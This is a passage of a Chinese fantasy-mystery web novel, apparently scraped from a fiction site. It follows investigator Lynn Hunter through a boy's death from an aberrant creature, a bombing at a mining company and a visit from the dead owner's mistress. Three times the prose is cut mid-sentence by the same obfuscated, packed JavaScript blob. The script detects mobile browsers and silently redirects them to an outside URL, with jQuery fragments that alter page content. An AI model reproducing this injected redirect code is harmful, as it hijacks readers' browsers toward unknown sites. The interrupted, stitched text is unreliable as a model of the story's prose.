莱亚·古德温一言不发,只轻轻用手指拨弄着他的手杖。 林恩望着他,一种古怪的异样感瞬间席卷全身。 她忍不住蹙起眉,语气前所未有的笃定。 “古德温中校,您知道顶罪的事?” 莱亚·古德温总算是正视林恩。 他的目光锐利且谨慎,却答非所问:“亨特审查官,我一直忘记询问你…” “…你的异能,究竟是什么?” 他一定知道! 他甚至不敢直接回答! 林恩甚至有种模糊的预感,她觉得莱亚·古德温一定怀疑自己也是“谎言鉴别者”,因此不敢随意给出答案。 推测至此,林恩的心脏跳得猛烈,却佯装出平静且不屑的姿态。 “我先问的你,先生。” “唔,那看来我们的交锋只能算平局。” 莱亚扬了扬薄唇,极其审慎地看着林恩,“我希望你不要过问我的私事,我也会隐瞒你是信徒的事实。” “成交。” == 莱亚·古德温离开了。 林恩觉得自己后背已经被汗水濡湿,被迫凝聚的注意力在一瞬间如烟花般散开。 她和衣躺在沙发上,一边掏出怀表。 已经晚上七点半了,碎金城的夜晚已经来临。 如果莉亚下定决心,她现在应该正在赶来的路上了。 林恩为此拒绝了白琳的用餐邀约,只丢给她一枚银舌尔。 “帮我买一份晚报吧,白琳。” “怎么忽然想看这个。”白琳嘟囔着,却还是收下林恩的硬币,“我会看着买的,但你一定会讨厌《圣明报》。” 她笑道,“我光是听他们的广播,都觉得厌恶异常。” 秒针滴滴答答走着。 直到白琳返回,林恩还是没等到莉亚。 “这是你要的报纸,林恩。”白琳摇晃着手里的威士忌酒瓶,“喝一杯吗?” 不过,没等林恩回答,她就已经走了进来,自顾自地打开壁橱,找出两只玻璃杯。 白琳“咔”一下拧开金属瓶盖。 澄澈的咖色酒液从细瓶口涌出,发出近似泉水的“咕嘟”声。 “我知道你在忧虑什么,林恩。”白琳走了过来,把少的那杯递给林恩,又惬意地蜷缩进沙发,“你放心,国王相当明理、聪慧……” 她的夸赞没完没了。 “因此,无论遇到怎样的困难,我都坚信玛格丽特国王注定会登上王位。” 林恩抿了口酒,默默点了点头。 等一等。 她忽然想到什么,翻身坐直,抓起自己的工作笔记,盯着那行“理查德四世”的字迹发愣。 她一直太忙碌,以至于忽略了一个重要细节: 艾迪在西格林郡时,曾提及过他的“国王父亲”;也正是这句话,让林恩一直以为他是国王的私生子。 ——艾迪的父亲,难不成就是“理查德四世”?! 思及于此,林恩瞬间毛骨悚然,只庆幸自己小心谨慎,没透露出半点异状。 不过,福祸相倚,既然与艾迪接触增多,林恩觉得不如从他身上狠捞一笔,说不定能挖掘出与“血色九月”相关的蛛丝马迹。 “谁是艾迪·穆德?” 白琳凑近,嘴里的酒精味扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325378|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面而来。 门忽然被敲响。 “现在不能告诉你,这只是个线索。”林恩回头和白琳说着,一边猛地站起身,一把拉开大门。 她翘首盼望的莉亚正怯生生地站在门口,手里的字条已经湿透。 不止如此,小姑娘本人也浑身湿透,似乎沾了满身泥浆。 “怎么了?” 林恩下意识朝窗外张望,天空明亮干爽,并没有下雨的迹象。 “我不认识路,也不认识字,遇到有人往楼下泼脏水。” 莉亚哽咽着,分不清湿漉漉的脸上是泪还是污水,只一个劲地滴滴答答淌。 她甚至不愿进门,生怕踩脏了林恩的屋子。 “你是怎么来的?”林恩的酒醒透了,扶着她的胳膊,“东区这么远——” “我走来的,审查官大人。” 莉亚抹了把脸,似乎习以为常,“您找我来,是有什么事吗?” “是有些事情……”林恩皱了皱鼻子,“不过现在,你先给我洗个澡。” == 教莉亚使用淋浴系统,费了林恩好一番工夫。 她揉了揉酸痛的腰,把浴巾丢在焕然一新的莉亚身上,又看了眼时钟。 “今天这么晚了,你就先住在我这儿吧。” 林恩环视一圈,最终指了指客厅,“我这里只有一张床,但你人小,睡沙发也刚好合适。” 莉亚乖顺地点点头。 与布鲁不同,莉亚长了一头亚麻金色的卷发,沾湿之后膨胀成两倍大。 看上去很像张牙舞爪的小狮子。 “好了,言归正传。” 林恩清了清嗓子,“你们俩的确偷走了亨利·朗的钱包,是吧?” 莉亚点头又摇头。 “哥哥带回来一个钱包,但我不知道那是谁的。” 她小心翼翼地看了眼林恩的表情,意识到她并没有生气或指责,莉亚猛地松了口气。 “你碰过那只钱包吗?包括里面的钱。” 莉亚迟疑了一下,从口袋里扒拉出一枚金塔拉。 “哥哥只给了我这个。” 林恩从公文包里取出剩下的纸钞,依次摊开放在桌上。 “这是我从你哥哥口袋里取出来的,我要问你的是——” 她顿了顿,“这块黑色薄片,也是从钱包里拿出来的吗?” 莉亚迟疑地伸出手—— “啪”一声脆响,林恩狠狠打在她的手背上。 “不要乱碰。” “噢。”莉亚点点头,小心翼翼地缩回手,又看了眼林恩的脸色。 “我没见过,审查官大人,哥哥点完钱就直接塞进口袋了。” “我明白了。” 林恩重新把东西收起来,满脸严肃,“莉亚,我怀疑这块黑布和你哥哥的恶疾相关。” 她终于切入正题。 “你哥哥的情况,在医疗官看来并不是某种常见疾病,更像是异种生物造成的伤害。” 林恩给她倒了杯水,自己则抿了口威士忌,“莉亚,或许你现在听不懂……” “不,我知道什么是异种生物。” 莉亚目光镇定、语气沉着,“奶奶跟我说,她曾见过异种生物。那是一种比枪炮更可怕的东西。” 林恩愣住。 莉亚并没有继续讲述有关异种生物的往事,反倒带着哭腔开口: “审查官大人,我哥哥是不是没救了?” 24. 布鲁(二) 此话一出,林恩反倒有些无所适从。 她好像没有办法撒谎,但也不愿直接欺骗莉亚。 考虑良久,她才缓缓开口。 “我没有办法给你许诺,莉亚,因为我也不知道。” 为了缓解气氛,林恩的视线在屋子里搜寻片刻,聚焦在果篮上。 “你吃过饭吗?我给你剥个橙子吧。” 莉亚点点头。 从东区走过来花了她很多时间,从天亮走到天黑,她早已饥肠辘辘。 光是想到吃食,她的肚子都咕咕叫了。 林恩站起身,用水果刀切开汁水丰富的橙子,屋内顿时弥漫开迷人的柑橘香气。 “时间不早了,你独自在外面走也不安全。” 她将一瓣瓣橙子放入洁白的瓷盘,“今晚先住下吧,明天我带你去见布鲁。” 莉亚兴奋地点点头。 望着单纯的孩子,林恩在心里发出一声叹息: 在她看来,这或许是莉亚和布鲁的最后一面了。 倘若拥有“净化”异能的康纳利审查官还活着,或许布鲁还有生还的机会。 只可惜他死在西格林郡。 ——也不知是第几次,林恩发出如此感慨。 她一边思考,一边在小碗里打了个蛋,娴熟地用叉子打散。 很快,滑嫩的黄油炒鸡蛋出锅,被制作成火腿鸡蛋三明治,端到莉亚面前。 莉亚记忆里从未吃过这么好吃的东西。 她揉了揉眼睛,双手抓着对她来说略显巨大的三明治,“我以后想成为您这样的人。” 林恩笑了,“或许你会比我更厉害。” 她看了眼时间,关闭了瓦斯吊灯的开关,“早点休息,莉亚。” == 莉亚蜷缩在沙发上,紧紧裹着柔软厚实的沙发毯,嗅着皂粉独有的干净气味。 在她的幻想里,从没有一天像今天这样幸福。 尽管,她的幸福是用布鲁的不幸换来的。 意识到这一点,莉亚心中盛满浓重的愧疚,这让她辗转反侧,难以入眠。 客厅的座钟滴滴答答走着,在规律而轻微的响声里,困意与疲乏最终还是侵袭了莉亚的大脑。 她打了个呵欠,沉沉地陷入深睡。 “嘭嘭嘭——” 巨大的轰响让莉亚短促地尖叫了一声。 她以为是她们家被债主找上门来,抑或是破旧地下室的楼板终于坍塌。 但莉亚很快意识到,自己被好心的审查官收留,她现在很安全。 林恩也同样从睡梦中惊醒。 门房朱莉亚太太手持夜灯,睡眼惺忪地把通信金属筒塞进林恩手里。 “亨特小姐,有一封您的信件。” 她说,“是用最高等级的通道传送过来的。” 这也就意味着,信件传送的速度最快,情况也最紧急。 林恩面色沉了沉,随即拆开金属筒。 写信时间是凌晨3点20;现在也才3点40—— 她收起怀表,扫了一眼信件,就立刻看向沙发。 莉亚披着巨大的毛绒沙发毯,不明所以地望着她。 “感谢您,朱莉亚夫人。”林恩说道,“我马上会出门,麻烦您帮我开一下大门。” 说完这些,她又蹲到沙发边,望着一脸懵懂的莉亚。 “抱歉,莉亚,昨晚承诺要带你看你哥哥,大概没办法实现了。” 她热乎乎的手心抚摸着莉亚的面孔,“国民卫队有紧急的事情,所以你最好呆在这里,好吗?” 莉亚点头。 “如果你要出门,桌子上有地图和钱。不要把时间浪费在路途上,莉亚,我可能需要随时找到你。” 林恩说罢,将金属筒里取出的字条团成一团,塞进口袋里。 那上面写着一行字: 【布鲁垂死,速来!】 == 国民卫队诊疗室内,医疗官帕尔玛终于等到了林恩。 “审查官,人已经去世了。” 她说道,一边站起身,“但有些事情,我觉得您得有必要知晓。” 林恩捏了捏鼻梁,一阵无力感侵袭而来。 她跟在帕尔玛身后,乘坐升降梯下至地下一层。 布鲁静静地躺在太平间里。 雪白的床单掀开,男孩瘦削的躯体躺在冰冷的金属床板上。 他浑身上下没有一处好皮肤,龟裂的肌肉像是久旱的大地,裂纹中嵌着干涸的血迹与红褐色的沙土。 他的死亡不像死亡,而像回归土壤。 医疗官帕尔玛压低了声音。 她幽静的嗓音在空荡荡的太平间回荡,“我还有一个额外发现,不过这件事情您需要保密。” 林恩看向她:“什么?” 帕尔玛从柜子里取出一个金属匣,打开给林恩看。 “这是从布鲁的呼吸道里取出来的。” 一条…… 虫子? “这并非已知的任何一种蠕虫,尽管在外行人看来,这些虫子都一模一样。” 帕尔玛冷酷地说着,从口袋里掏出笔记本。 在等待林恩的时候,她将这个黑色蠕虫放大并画了下来。 “在透镜的放大下,可以很清晰地看出,这条虫子本身并非灰黑色。它之所以呈现这个颜色,是因为它躯体上全都是眼睛!” 光是看到这幅手绘图,就让林恩长满鸡皮疙瘩。 密密麻麻的黑色圆球布满短粗的软体上,眼球甚至可以像滚珠一般随意旋转。 “我有点想吐了。” 林恩皱了皱鼻子,“所以,这东西是——” 帕尔玛“啪”一下合上笔记本。 “异种生物,绝对是异种生物!” “那完蛋了,官方并没有承认过异种生物的存在。”林恩双手抱胸,“这件事情该怎么了结呢?” 她自言自语了一会儿,又看着帕尔玛。 “你为什么要把这件事情告诉我?” “因为你是康纳利的学徒。” 医疗官帕尔玛斩钉截铁,“如果说,整个国民卫队只有一个人能解决,那就是康纳利。” “……好吧,我会尽力的。” 林恩把金属匣塞进口袋里,“天亮之后,我先去找亨利·朗汇报。” 帕尔玛终于停止对林恩的轻蔑注视。 她总算觉得,这位新晋的独立审查官还有点可取之处——起码没那么恐惧权威。 “我需要提醒你一下,天已经亮了。” 医疗官帕尔玛说的没错。 重新回到一楼后,透过走廊尽头的窗户,林恩能看到橙红色的朝阳正在从地平线上升起。 这是她来到这个世界的第七天,她足足呆了一周了。 林恩从未经历过这么漫长的一周。 她凝视了片刻,终于吐出一口浊气。 == 朗氏矿业公司门口,站岗一整夜的守卫终于等到了换岗。 守卫摘下长剑,揉了揉酸痛的后腰,一边伸了个懒腰。 还没等完成动作,就被人戳了戳肩膀。 “你看,那个审查官又来了。” 他抬起头。 玻璃窗外,穿着制服的林恩正朝他们挥手。 “审查官也真够累的。”他感叹了一句,又打开门。 “审查官,您等一等,我们正在交接班呢。” “行。” 林恩也并不赶时间。 她咬了几口三明治,在门口徘徊了几个来回。 “您是不是得罪朗先生了?” 换好便服的守卫笑道,“否则怎么会来这么频繁呢?” “被你看出来了。”林恩挠了挠头,表情无奈,“所以,能放我进去吗?” 守卫哈哈大笑着,照例拔掉通话管的塞子。 “昨天那位审查官找亨利·朗先生。”他说。 林恩一手撑在守卫亭的墙壁上,颇为不耐地等待亨利·朗德回复,一边揣测今日他的心情。 ——只有亨利·朗心情不错,他才会放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338984|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己。 林恩心道,于是又开始盘算着如何捧他臭脚。 “砰———” 突然,巨大的爆炸声伴随一阵气浪,朝林恩直扑而来! == 首席审查官阿曼达·德·波尔被侍女唤醒时,刚睡满三个小时。 她昨晚花费太多时间在社交活动上,以至于回到家时已过凌晨两点。 喝光了瓷杯中的晨茶,阿曼达照例朝杯底瞥了一眼: 碎茶渣拼成一个圆。 只除了有一处小小的凸起,让这个“圆”没那么完美。 大约今天也是不错的一天。 阿曼达心想着,一边享用她的早餐:用黄油烤制的、涂满果酱的白面包、一份煎鳕鱼,以及一个水波蛋。 银餐刀刚切进雪白的鳕鱼排中,侍女就急匆匆跑进来。 “国民卫队发来传讯,大人。” 阿曼达瞬时没了胃口。 她“嘭”地丢下餐刀,快步行至声波传讯管前。 ——这是独属于中央大区的传声装置,造价不菲,当初她花费了数十万金塔拉才将宅邸接入传讯系统。 “什么事?” 由于距离过远,传讯筒内的声音飘渺而模糊,阿曼达根本分辨不出是谁在讲话。 “首席,我是通信官德莱安。朗氏矿业公司发生爆炸,有人员伤亡。” “什么?” 因为太过震撼,阿曼达甚至不敢相信自己的听觉。 德莱安是在说……朗氏公司爆炸? 一瞬间,阿曼达的面色糟糕至极: 朗氏矿业公司是工党的强力支持者,其代表的工人阶层是玛格丽特国王极其重视的部分。 即便首相约翰·斯托克是保守党人,但国王这两年显然更偏向工党。 该死的。 阿曼达忍不住怒骂了一句。 可想而知,这件事情如果没处理好…… 工党一定会弹劾身为保守党议员的她! 那么,她的职业生涯也就到此为止了! “准备马车。”她对侍女说,“快!” 等阿曼达审查官到达现场时,爆炸引发的大火已经燃烧了整栋大楼。 黑烟弥漫,朗氏矿业公司的火灾喷淋系统不堪重负,最终由国民卫队下属的消防署接管,熄灭了熊熊燃烧的火焰。 大楼内的所有人被迫撤离,道路瞬间拥挤不堪。 阿曼达翻了翻口袋,难得点燃一支香烟:只有在异常烦闷的时候,她才会想抽一根。 她分外不解,为什么自己接手国民卫队之后,麻烦事一件接一件。 难不成真的因为太久没去礼拜了? 阿曼达掸了掸烟灰,愤恨地吐出一口烟雾,决心这周日就去教堂。 波尔家族的车夫缓缓将马车停泊在路边,随后,他发出一声疑惑的惊呼。 “小审查官也在。” “谁?” 阿曼达审查官探出身子,一眼就看见了身穿白色制服的林恩·亨特审查官。 她为什么也在? 阿曼达疑惑了一秒,便立刻回忆起林恩被迫负责亨利·朗的钱包丢失案。 她叹口气,苦笑一声,只把林恩归结为与自己一样的“倒霉蛋”。 很显然,林恩比她还要“倒霉”一些。 她满脸是血,看样子是被碎石砸伤了脑袋。 “亨特审查官,你还好吗?” 林恩摇摇头。 她完全听不清对方在讲什么,持续的尖锐耳鸣充斥着她的耳道。 她只觉得额头热热的,像是花洒里的温水,缓慢地流淌在她的发丝之间。 我……在哪里? 林恩眨了眨眼睛,记忆一片空白。 她努力回想了一下,终于意识到自己是来拜访亨利·朗先生的。 是了,亨利·朗! 林恩意识到了什么,仰头望向二楼。 随后,她的瞳孔骤然一缩—— 原本亨利·朗的豪华办公室,此刻已是断垣残壁! 25. 停职 倘若亨利·朗在办公室内,那必定不可能幸存。 林恩甚至怀疑,他的尸骨都被炸得四散,完全找不全了。 还在思索时,林恩的脑袋忽然一痛。 “又见面了。” 医疗官帕尔玛冷着脸,从随身携带的医药箱中取出一瓶伤口清洗液,不由分说地喷在林恩伤口上。 “嘶——”林恩皱着脸,倒吸一口气。 “痛就对了。”帕尔玛说道,“说明药物开始起效。” 她重新取出绷带,缠绕在林恩脑袋上,直到把她的伤口全部遮掩这才罢休。 “好了,你记得多休息。” 阿曼达审查官也将工作安排布置下去。 “特里奇,你和威灵顿一道负责调查爆炸案。”她手指点了点林恩,似乎思索了一下她的去向。 “至于亨特,既然是目击者,那就不要参与调查了。这几天,你只需要配合他们俩的工作就行。” “明白。” 林恩爽快地接受了自己被迫停职的命运。 或许对其他人来说难以接受,但林恩此刻急需自己的时间与空间。 ——尽管,她对这场爆炸案多少有些好奇。 蒙德里安·威灵顿沉默地接受了安排。 他阴鸷地望了眼林恩,又重新仰头看向破损的墙壁,心情同样糟糕。 “喂,医疗官。”过了半晌,他朝帕尔玛医疗官勾了勾手指,“跟我进去看看吧。” 无论亨利·朗的死状有多凄惨,他都得去检查一番。 医疗官帕尔玛立刻起身。 与林恩擦肩而过的时候,她默不作声地朝对方递了个眼神。 随后,她头也不回地走入仍旧炙热的黄铜大门。 “亨特。” 阿曼达审查官走了过来,目光里带了些试探。 “你在责怪我不让你参与吗?” “怎么会?”林恩摇了摇头,“我也知道,我需要休息。” 她指了指头上的伤口,又苦笑道,“从到达西格林郡起,我就一直没休息,现在能休息几天也好。” 这倒是。 阿曼达微微颔首,又伸手拍了拍林恩的后背。 “你还有别的任务,可别忘记了。” 尽管语焉不详,但林恩还是瞬间明白了首席审查官的暗示。 国王的任务,她还一点没做呢。 念及于此,林恩发出一声苦涩的叹息声。 还不等她反应,阿曼达就唤来车夫。 “先送亨特审查官回去吧,在洋湾区是吗?” 她一锤定音,完全不给林恩回绝的机会。 林恩迫不得已,不得不颠簸着重新回到桔梗街。 “哦,我的神。”朱莉亚夫人见林恩去而复返,额头又绑着厚厚一圈纱布,自然惊诧不已,“怎么会弄成这样?” 林恩腋下还夹着厚厚一沓新买的晨报。 对上朱莉亚夫人的视线,她只得无奈地笑一笑,“您很快就会知道的。” 朱莉亚夫人见她精神尚佳,终于放下心来。 她重新坐了回去,又忽然想起什么:“唔,你房间那个小女孩,今天早晨离开了。” 林恩愣了愣,转念又觉得在情理之中。 莉亚除了哥哥布鲁之外,家里还有奶奶需要挂心。 她没再多想,只对着报纸仔细研究了一个上午。 【首相斯托克:有史以来最愚笨的人】 【令人兴奋的消息:首相提出加大研究投资!】 不同报纸上,关于同一件事的看法也截然不同,油墨文字脱离了一开始的“传输信息”功能,而彻底沦为发泄情绪的工具。 林恩打开笔记本,在“工党”一栏写下几个名字: 【亨利·朗(朗氏矿业公司)、蒙德里安·威灵顿(国民卫队)】 而对应的“保守党”,林恩同样找到两个名字: 【阿曼达·德·波尔(国民卫队)、约翰·斯托克(首相)】 后者还是从报纸上摘录下来的。 所以,三十年前,亨利·朗的爷爷加入“工党”,为什么是件值得夸耀的事情? 林恩翻遍了报纸,也没有想通理由。 她合上笔记本,刚想休息一阵,门忽然被敲响。 门外站着的并非莉亚,而是一头金色长卷发的美貌女人。 来人只画了淡妆,因此林恩足足想了一会儿,才意识到她是谁。 “你好啊,亨特审查官。”她说,“我是茉莉。” 茉莉? 亨利·朗的情妇、昨日在朗氏矿业公司有一面之缘的茉莉? 她来找自己做什么? 而她又怎么会知道自己的家庭住址? 林恩满腹狐疑地盯着茉莉,对上那双微微含笑的眸子,最终还是松口了。 “有什么事情还是进来说吧。” 茉莉踢掉白色小羊皮的高跟鞋,赤脚踩在柔软的地毯上,而后轻轻提起裙摆。 “我已经得知亨利·朗死亡的消息了。” 她开门见山,并没有任何拖沓的言语。 随后,她指了指林恩的伤口,“你也在现场,不是吗?” 林恩完全没有对待客人的礼貌,语气颇为不耐:“茉莉小姐,您究竟想说些什么?” 她双手抱胸,冷冷地盯着她,满是提防。 “我并没有对你不善的想法。”茉莉轻笑,将长发拢到一侧,随后缓慢地脱去她的长风衣。 随着她的动作,茉莉腰间别着的微型蒸□□也终于显露出来。 她顺势抬了抬下巴。 林恩看出她的暗示:如果茉莉想杀掉自己,将会不费吹灰之力。 “好吧,言归正传。” 茉莉随手将外衣与武器放在一边,敛起笑意。 “我是来感谢你的,林恩·亨特审查官。” “……” 荷枪实弹?来感谢? “如果不是你,如果没有那个偷走钱包的男孩死亡的消息,或许今天早晨殒命在炸弹之下的,还有我。” 茉莉笑道,对亨利·朗的死亡并无悲伤。 林恩纳闷:“既然他有意隐瞒,你又如何得知他与我商议的是什么事情?” “我对亨利·朗的一切都了如指掌。”茉莉言简意赅,“他就是一个蠢货。” “既然知道他是蠢货,那你为什么还要留在他身边?” 林恩歪了歪头,话中带刺。 ——她对茉莉毫无信任。 “我知道你的意思。”茉莉用话剧一般夸张的语调开口,“我这样一个为了钱委曲求全的女人,同样也会为了钱出卖你,是吗?” 她笑了起来,丰润的嘴唇像是一朵花般绽开。 “亨特审查官,不如你先听听我的消息。” 林恩颔首。 “前天,亨利丢失了他的钱包。如果只是因为钱,那么亨利的反应有些过度,因此我推测,他一定藏着什么不为人知的秘密。 那天深夜,他邀请了蒙德里安·威灵顿先生做客。两人在书房商议良久,但他们的谈话内容我并不知晓。” 茉莉顿了顿,“但是第二天一早,我就看到书房里有关于你的资料,其中也包括你的住址。” 林恩默不作声地端起茶杯,抿了一小口。 这些时间线和她的经历刚好对上。 “下午,在你离开之后,亨利和他的哥哥西斯·朗进行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351224|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫长的通话。但他并没有意识到,通话管是可以被偷听的。” 茉莉的脸颊红润了几分,神情也带了点沾沾自喜。 “我就躲在亨利·朗隔壁的私人房间,用了些小手段,偷听了她们兄弟的部分对话。” 林恩倚在靠垫上,静静地听着茉莉的讲述。 她的目光从那张美丽的面孔,逐渐转移到她华丽的发丝与精致的耳环上,随后垂下头,又喝了口水。 “…通话管的声音会变形,我只听到他们谈到‘绯通亚矿场’、出现的异状相匹配,还有——” 她将末尾的咬字拉长,又张口道: “异种生物。” 此话一出,林恩的瞳孔刹时紧缩。 除了她与医疗官帕尔玛之外,茉莉是第三个获知亨利·朗与异种生物相关的人。 甚至,他们三人是三种不同的渠道。 可想而知,这是间四面透风的房子,异种生物的消息,或许无法瞒太久。 和面对医疗官帕尔玛一样,林恩仍旧询问:“异种生物的事情,你为什么要跟我说?” “您太谨慎了,这不像您的作风。” 茉莉笑道,一边四处张望,“我有些口渴了,给我倒杯水吧。” 林恩无奈,从橱柜里取出崭新的茶碟与茶杯,放在茉莉面前。 “大小姐,您小心烫。” 她一边倒水,一边阴阳怪气。 茉莉又咯咯地笑出声,“您可真有意思。” 喝完水之后,她才缓缓继续,“我要跟您说的,是昨天晚上的事情。” == 如往常一样,在座钟叮叮当当敲响七下时,茉莉换上吊带裙、披上肉粉色丝绸睡袍,与亨利·朗一道享用他们的晚餐。 亨利·朗的惊慌已然退去,他的神色中带着一点隐隐的兴奋。 不过,等茉莉疑惑又妩媚地望向他时,亨利·朗又及时收住他的情绪。 他清了清嗓子,用餐刀划开牛排。 “一会儿,我让车夫先送你回去。” 闻言,茉莉放下餐刀,注视着亨利·朗那张圆滚滚的脸。 她嘟嘴,“又是公事?下午您与那位审查官交谈时,就已经把我赶走了,怎么这会儿又要——” 她刻意捂住嘴,脸上是娇嗔的惊讶。 “您总不会,要把她带回家吧?” “乱说什么。”亨利·朗想到林恩就忍不住嗤笑一声,“西斯要来,你知道的,他很讨厌我身边有其他女人。” 餐刀划过牛肉,淌出鲜红色的血水。 茉莉狠狠地切开牛肉,餐刀在盘子上刮蹭,发出一声刺耳的响声。 “行啦,我走就是了。” 亨利·朗侧头看了茉莉一眼,目光黏糊糊地滑落,在她雪白的胸脯上附着了几秒,随后可惜地叹口气。 “别不高兴了,事成之后,我给你买栋房子。” 他一边享受茉莉的娇蛮,一边狂妄地夸下海口,“或者,你还想要什么?” “我想要……一家歌剧院!” 茉莉甩了甩头发,“但是,你不许来我的歌剧院哦,我怕你被其他的漂亮姑娘勾走了。” 歌剧院? 他们第一次相识,便是在皇家歌剧院。 “怎么会呢。”亨利·朗的眼里挤出笑意,“对了,你今晚刚好帮我去皇家银行取一件东西,明天中午交给我吧。” 他想了想,“也不需要来太早,早些时候我或许有访客。” “怎么把我抛弃了还要我跑腿呢!” 茉莉随口抱怨着,却并没有生气。 她站起身,绕到亨利·朗身后,弯下腰亲了亲他的耳朵,“好啦,亲爱的朗先生,我走了。” 26. 八级神殿的讯息 亨利·朗选择把东西寄存在皇家银行的理由相当简单,比起他的任意一栋住宅,皇家银行的安保措施可信得多。 无论什么东西,保存在这里会是最安全的。 马车停在皇家银行侧门,茉莉用亨利·朗交给她的黄铜钥匙,打开一扇侧门。 “我来取东西。”她昂着头,瞥了接待员一眼,又在深咖啡色的皮革沙发上坐下,漫不经心地拨弄着无名指上的蓝宝石戒指。 接待茉莉的银行经理姗姗来迟。 他从茉莉手里接过厚厚一沓材料,并核对了亨利·朗的铜制卡牌,终于拧开保险库大门。 “这样东西,朗先生提前跟我们说过,似乎是一件有毒物品。”他推来一只分不清材质的金属匣,“因此,你一定要小心,千万不要打开它。” 茉莉“嗯”了一声,不免有些畏惧。 ——既然如此,那她早点送去朗氏公司吧。茉莉心想着。 == 林恩指尖捻着茉莉掉落的金色长发,终于搜查完了她的记忆。 茉莉已经离开,但身上浓郁的香水味并没有散去。 一同留下的,还有茉莉从皇家银行连夜取出的金属匣子。 她说:“这是亨利·朗先生拜托我取出来的东西,我现在交给你,就当报答你的救命之恩了。” 银行职员对她的提醒,茉莉闭口不谈。 她想看看匣子是否真如想象中那么恐怖,但又的确对林恩怀有感激之心。 她的谢礼,取决于林恩的运气: 好运,那么这件未知的宝物就赠送给林恩; 厄运,那茉莉也能满足好奇心。 她怎样都不会吃亏。 这女人…… 聪慧又胆识过人,行事诡谲又合理。 难搞的硬骨头。 林恩揉了揉太阳穴,精神因亏空而产生浓浓的疲倦感。 至于茉莉那些若有似无的“感激”,林恩大概推测到原因: 倘若亨利·朗没有提及“明天早上有访客”,那么大概率茉莉会在大清早就把这件东西送去朗氏公司,也会刚好遇到爆炸。 茉莉刚巧目睹了爆炸,也目睹了“访客”林恩,便自然以为林恩就是亨利·朗等待的访客。 所以,访客另有其人? 林恩的笔尖在 另一件值得关注的事情,同样也是从茉莉记忆的细节里翻找出来的。 “事成之后,我给你买栋房子” 亨利·朗兴奋之余,阔绰地说出这么一句话。 事成之后? 亨利·朗究竟在背地里做什么大事? 会和异种生物有关吗? 林恩忍不住哆嗦了一下,在“亨利·朗”的名字上重重地画上圈。 还没等写下“西斯·朗”的名字,大门忽然又被敲响。 林恩急忙合上笔记本,随手塞进口袋里,又透过钥匙孔看了眼门外。 通常情况下,她不该有这么多访客。 不过,门外站着的是莉亚。 “你回来了——” 林恩打开门,话音未落,就注意到小姑娘满脸的泪痕。 她抽噎着,哭得喘不过气,“奶奶……奶奶不见了!” == 颠簸的出租马车将二人送去东区枫叶教堂。 林恩从口袋里掏出两枚金塔拉递给车夫,一边心疼这个月的交通开销。 “还差2银舌尔,小姐。”车夫点了点计费机的转轴,“距离着实远了些。” 林恩又数出两枚银舌尔。 “祝您一切顺利。” 车夫满意地笑了,抬了抬他的黑色礼帽。 林恩叹口气,跟在莉亚身后,一头扎进幽深狭长的巷弄之中。 莉亚家需要穿过这条巷子,再转个弯进入另一道深巷。 两人一前一后走着,迎面便撞上蓬头垢面、满身酒气的男人。 他的衣服宽宽大大地罩在身上,完全不合身,似乎是从哪个垃圾桶里随意翻找出来的。 莉亚侧身,给男人让出条道。 直到男人迈着歪歪斜斜的步子远离,小姑娘才缓缓开口: “他是‘赌鬼’,大家都这么叫。” 而后,莉亚指了指面前的二层矮房子。“我家到了。” 林恩默不作声地点点头,检查着大门:很显然,锈蚀的门锁并不牢固,被铁丝轻轻一撬就能打开。 屋内不仅仅是绑架了一个老人这么简单。 房屋的每一个柜子与抽屉都被打开翻找过,物品被零散地丢在地上,沾满灰扑扑的脚印。 林恩的视线扫过每一处细节,随后聚焦在地面上。 她轻轻走过去,弯腰拾走一件薄衫,露出两枚亮晶晶的金塔拉。 “这是哥哥留给奶奶的!”莉亚呼喊道。 两枚掉落在现场的金塔拉? 虽然数额不大,但显然闯入者并不为了钱。 他们寻找的另有其物。 “莉亚,去把门关上。”林恩看着小姑娘,“你站在门外等着,半小时后敲一敲门。” 她要使用“记忆搜查”。 尽管今天已经使用过一次,但林恩还是决定冒一下险。 即便不明所以,但莉亚此刻也没有别的选择。 她默默地走出房间,轻手轻脚地合上房门,蹲坐在门口的台阶上,望着不远处枫叶教堂高塔的时钟。 林恩倚在破破烂烂的门板上,深呼吸一口,鼻息间却满是属于地下室潮湿的霉味。 她最终将手掌贴紧门板。 【我要探查一下,这间房间过去发生了什么。】 一个黑袍人。 此人全程蒙着脸,从发丝武装到脚尖,只能看出身量极高,其余的一概不知。 他在屋内四处搜寻,最终将莉亚奶奶打晕,扛在肩上走出房门。 看样子……黑袍人一无所获? 他到底在寻找什么? 